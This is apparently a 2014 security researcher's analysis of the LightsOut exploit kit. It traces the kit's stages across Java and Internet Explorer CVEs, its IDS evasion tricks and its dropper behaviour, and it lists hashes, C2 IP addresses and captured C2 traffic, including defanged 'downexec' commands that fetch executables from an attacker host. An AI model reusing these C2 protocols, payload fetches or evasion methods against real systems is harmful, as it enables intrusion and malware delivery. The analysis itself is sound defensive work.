Continued analysis of the LightsOut Exploit Kit

Friday, May 2, 2014 13:24

• VT: https://www.virustotal.com/en/file/164de09635532bb0a4fbe25ef3058b86dac332a03629fc91095a4c7841b559da/analysis/ C&C Server: 93.171.216.118
  IP Address hosting malware: 93.188.161.235
  Secondary dropped malware sample sha256 hashes:
  
• 1218d79fca1aca48e13a5e6e582cdc5c4d24c3367328c56d61d975a757509335 fl.jpg
• ac9294849559c94d5e85cb113ce8ca61bca2e576a97a9e81f66321496ddada61  tl.jpg
• 5ee0761f5eda01985d5f93a5e50a1247fb5c17deba1d471b05fc09751d09a08e  shot.jpg
• a26f3225aa7e7b5263033dee682153fb7a4332429782c5755a9eaebe8a5df095  inf.jpg JavaScript IDS evasion methods:
  
• Sample encoded string (remove all digits) from JavaScript"836f4974362o65679305r82637150N61617044a77736359m99323481e9388" becomes "forName"
  

Browser Trajectory Analysis

Stage 1: dtsrc.php - detect installed fonts, direct to 1st stage of exploits via IFRAME The first stage leverages a holdover technique from the Internet Explorer 6 era – the HtmlDlgSafeHelper ActiveX control; to check if a list of over 700 fonts are available to the browser.  This is entirely unrelated to any compromise method, but may be a method of "fingerprinting" the installed version and language packs of Windows + Internet Explorer, based on available fonts.  The list of found fonts is concatenated together, MD5 hashed, and the hash is submitted to the malicious site.

Stage 2: dtsrc.php?a=h1 - plugin detection javascript, direction to individual exploits based on browser + plugins dtsrc.php?a=h1 has JavaScript that detects the environment in the browser to determine which exploits to direct the browser to.  The JavaScript is obfuscated and minified (placed all on one line -- use a beautifier utility, or something like http://jsbeautifier.org for an online version)

• In-lines PluginDetect JS library from http://www.pinlady.net/PluginDetect/
• Interesting: has unused/commented-out code for detecting Microsoft SharePoint plugins. All of the exploits are called by dynamically appending an <IFRAME> tag to the document, pointing to one of the exploit URLs.  This is the common IFRAME function leveraged by the dtsrc,php?a=h1 page.
  

Here’s the unused detection routine for SharePoint — this may be an incomplete attempt to exploit the MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free vulnerability.

Browser compromise flow:

IE 7 on XP ––> h5 exploit page, then:

1. Java 6 update <= 32 = h7 exploit page
2. OR
3. Java 7 update <= 17 = h2 exploit page

IE 8 on XP ––> h6 exploit page, then:

1. Java 6 update <= 32 = h7 exploit page
2. OR
3. Java 7 update <= 17 = h2 exploit page

IE 6 on XP ––> h4 exploit page, then:

1. Java 6 update <= 32 = h7 exploit page
2. OR
3. Java 7 update <= 17 = h2 exploit page

Chrome on Windows ––> Java 7 update <= 7 = h3 exploit page

Any browser ––> Java 6 update <= 32 = h7 exploit page (see above screenshot)

• OR  Java 7 update <= 17 = h2 exploit page

Stage 3: dtsrc.php?a={??} where {??} is one of the h2/h3 etc below

h2 == Java 7 update <= 17 CVE-2013-2423

• This uses a base64 encoded JNLP with applet parameter __applet_ssv_validated=true for the CVE-2013-2423 warning bypass
• Loads the r2 JAR for downloading the dropper

And if we base64 decode the jnlp_embedded parameter, here’s the warning dialog bypas:

h3 == Chrome w/ Java 7 update <= 17 CVE-2013-2423

• Nearly exactly the same as h2 page, the JNLP is encoded/presented differently.
• Uses deployJava.js from java.com; deployJava.runApplet(
• Loads the r2 JAR for downloading the dropper

And it’s the exact same base64 encoded JNLP from H2.

h4 & h5 == Microsoft Internet Explorer 6 and Windows XP

• Heap Spray w/ DOM use-after-free vulnerability - we have ongoing research to determine exactly which CVE it is.

h6 == Microsoft Internet Explorer 8 and Windows XP

• CVE-2013-1347 - CGenericElement Object Use-After-Free Vulnerability
• Snort SIDs: 26569 through 26572, 26603 and 26668
• The code on the page is pretty much a direct rip-off of the metsploit ie_cgenericelement_uaf.rb module
• https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb

h7 == Java 6 update <= 32

• Direct <applet> loading of r7 JAR, which leverages the CVE-2012-1723 classloader confusion vulnerability

Java JAR Analysis

r2 jar - CVE-2013-2465

• CVE-2013-2465 is the Incorrect image channel verification (buffered image) vulnerability, which permits execution of arbitrary code.
• Java class grants itself full permissions via overloading java.security.AllPermission
• Ultimately downloads to disk and executes an executable (ntsys391.exe). This JAR has a pretty simple IDS evasion technique where it decodes the URL to download the executable at runtime, through  simple XOR routine.

r7 jar - CVE-2012-1723

• This exploits the getClassLoader vulnerability - by modifying a class file by hand, you can confuse the Java runtime between a static variable and an instance variable.  This results in code being executed outside of the java sandbox, when it hasn't been verified as safe.
• A Java class grants itself full permissions via overloading java.security.AllPermission
• One of the malicious classes in the JAR has another class embedded as a string that gets decoded and executed directly (r7-embedded.class, below)

r7-embedded.class

• This leverages java.security.PrivilegedExceptionAction
• When successful, it downloads an executable from a hardcoded url to the Java temp dir, and saves the file as ntsys391.exe.  The hard-coded URL is the same .php file as the rest of the exploit kit including the fully qualified domain name.  This may mean the exploit kit is rebuilt for each compromised host, or the r7 jar is dynamically built for each request by PHP.

Stage 4 - the dropped executable - which is a dropper as well

• Either one of the Java vulnerabilities or the heap spray in Microsoft Internet Explorer requests dtsrc.php?a=dwe, which is saved to disk as ntsys391.exe
• ntsys391.exe downloads additional executables, the .jpg URLs referenced below under “Network Indicators”

Host Indicators

• First stage dropper: - initially dropped as ntsys391.exe
• SHA: D667833E4915C385321B553785732BBED3009C2A
• SHA256: 164de09635532bb0a4fbe25ef3058b86dac332a03629fc91095a4c7841b559da
• Copies/Renames self as C:\Documents and Settings\Administrator\Application Data\ Broker services\WbemMonitor .exe
• Runs self: "WbemMonitor .exe -fst”
• Phones home to C2 w/ a POST request (see “Network Indicators” below) to retrieve other executables to download.
• Retrieves shot.jpg, which is actually an EXE -> C:\Documents and Settings\Administrator\Application Data\ Broker services\plugs\mmc.exe
• SHA: 334eeaf5ea3920b612b4e26bbe3e0cccbc431c2e
• SHA256: 5ee0761f5eda01985d5f93a5e50a1247fb5c17deba1d471b05fc09751d09a08e

Network Indicators

• Contacts
• 93.171.216.118
• Request: (Analyst Note: notice — no User-Agent header, HTTP/1.1 to a dotted quad)
• POST /check_value.php HTTP/1.1
• Content-Type: application/x-www-form-urlencoded
• Host: 93.171.216.118
• Content-Length: 42
• Connection: Keep-Alive
• Cache-Control: no-cache
• Post Body:
• identifiant=51032_2161380123730&version=2.
• Response: (Analyst Note: broken apart for readability - this was originally all on one line - lines delimited by a ; character, and trivally defanged)
• work:3|downexec hxxp://93.188.161[.]235/check2/muees27jxt/shot.jpg;
• work:5|downexec hxxp://93.188.161[.]235/check2/muees27jxt/tl.jpg;
• work:7|downexec hxxp://93.188.161[.]235/check2/muees27jxt/fl.jpg;
• work:290|downexec hxxp://93.188.161[.]235/check2/muees27jxt/inf.jpg;
• 93.188.161.235
• Request  (Analyst Note: this kit only returns the JPG if the user-agent matches the string below, HTTP/1.1 to a dotted quad)
• GET /check2/muees27jxt/shot.jpg HTTP/1.1
• User-Agent: User-Agent: Opera/10.35 Presto/2.2.30
• Host: 93.188.161.235
• Cache-Control: no-cache
• Response:
• PE executable